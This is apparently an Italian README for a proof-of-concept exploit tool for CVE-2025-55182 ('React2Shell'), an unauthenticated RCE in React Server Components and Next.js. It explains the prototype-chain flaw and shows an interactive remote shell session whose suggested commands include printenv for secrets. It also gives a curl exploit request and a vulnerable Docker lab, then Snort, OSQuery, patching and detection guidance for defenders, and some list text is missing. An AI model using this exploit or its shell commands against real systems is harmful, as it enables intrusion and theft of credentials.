
Un exploit proof-of-concept completo e una risorsa educativa per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice che interessa i React Server Components con un punteggio CVSS di 10.0.
SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI
Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale ai sensi di varie normative, tra cui il Computer Fraud and Abuse Act (CFAA) negli Stati Uniti e legislazioni simili in tutto il mondo.
Devi:
L'autore e i collaboratori:
Utilizzando questo strumento, dichiari di aver compreso e di accettare questi termini.
React2Shell è una vulnerabilità critica scoperta nel dicembre 2025 che interessa i React Server Components (RSC) e i framework che li implementano, in particolare Next.js. La vulnerabilità consente l'esecuzione remota di codice senza autenticazione tramite una singola richiesta HTTP appositamente predisposta.
Questo repository contiene:
create-next-app sono sfruttabiliVersioni vulnerabili:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Versioni corrette:
Versioni vulnerabili:
Versioni corrette:
La vulnerabilità risiede nella funzione requireModule all'interno della logica di deserializzazione dei React Server Components:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
Il difetto consente agli attaccanti di attraversare la catena di prototipi di JavaScript tramite il protocollo React Flight, accedendo al costruttore Function attraverso proprietà come constructor.constructor, consentendo l'esecuzione di codice arbitrario.
__proto__ per creare una struttura auto-referenzialeconstructor.constructor per accedere a Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| Comando | Descrizione |
|---|---|
<qualsiasi comando shell> | Esegue il comando sul target |
help | Mostra il messaggio di aiuto |
exit / / |
Distribuisci questa regola Snort per rilevare i tentativi di sfruttamento:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
Logica di rilevamento:
Next-Action (specifico di RSC)multipart/form-dataname="0", status: "resolved_model", then: "$1:__proto__:then"Usa questa regola OSQuery per cercare versioni vulnerabili dei pacchetti:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
Vantaggi:
Cerca questi pattern nei log della tua applicazione:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
Blocca i pattern sospetti:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
Configura avvisi per:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
Crea un Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
Compila ed esegui:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
Crea docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
Esegui:
docker-compose up -d
Testa con curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
I contributi sono benvenuti! Segui queste linee guida:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)Questo progetto è rilasciato sotto la licenza MIT - consulta il file LICENSE per i dettagli.
Tinashe
Cerberus Secure è la divisione di cybersecurity di iConnect SA, specializzata in:
Questa vulnerabilità è stata divulgata in modo responsabile dai ricercatori di sicurezza al team di React. Questo PoC viene rilasciato dopo:
Cronologia:
Ricorda: usa questo strumento in modo responsabile e solo su sistemi su cui sei autorizzato a effettuare test.
Per domande, dubbi o problemi di sicurezza relativi a questo repository, apri una issue o contatta direttamente il manutentore.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2025-55182 |
| Punteggio CVSS | 10.0 (Critico) |
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Nessuna |
| Impatto | Compromissione completa del sistema (RCE) |
| Data di divulgazione | Dicembre 2025 |
quitq| Esce dallo strumento |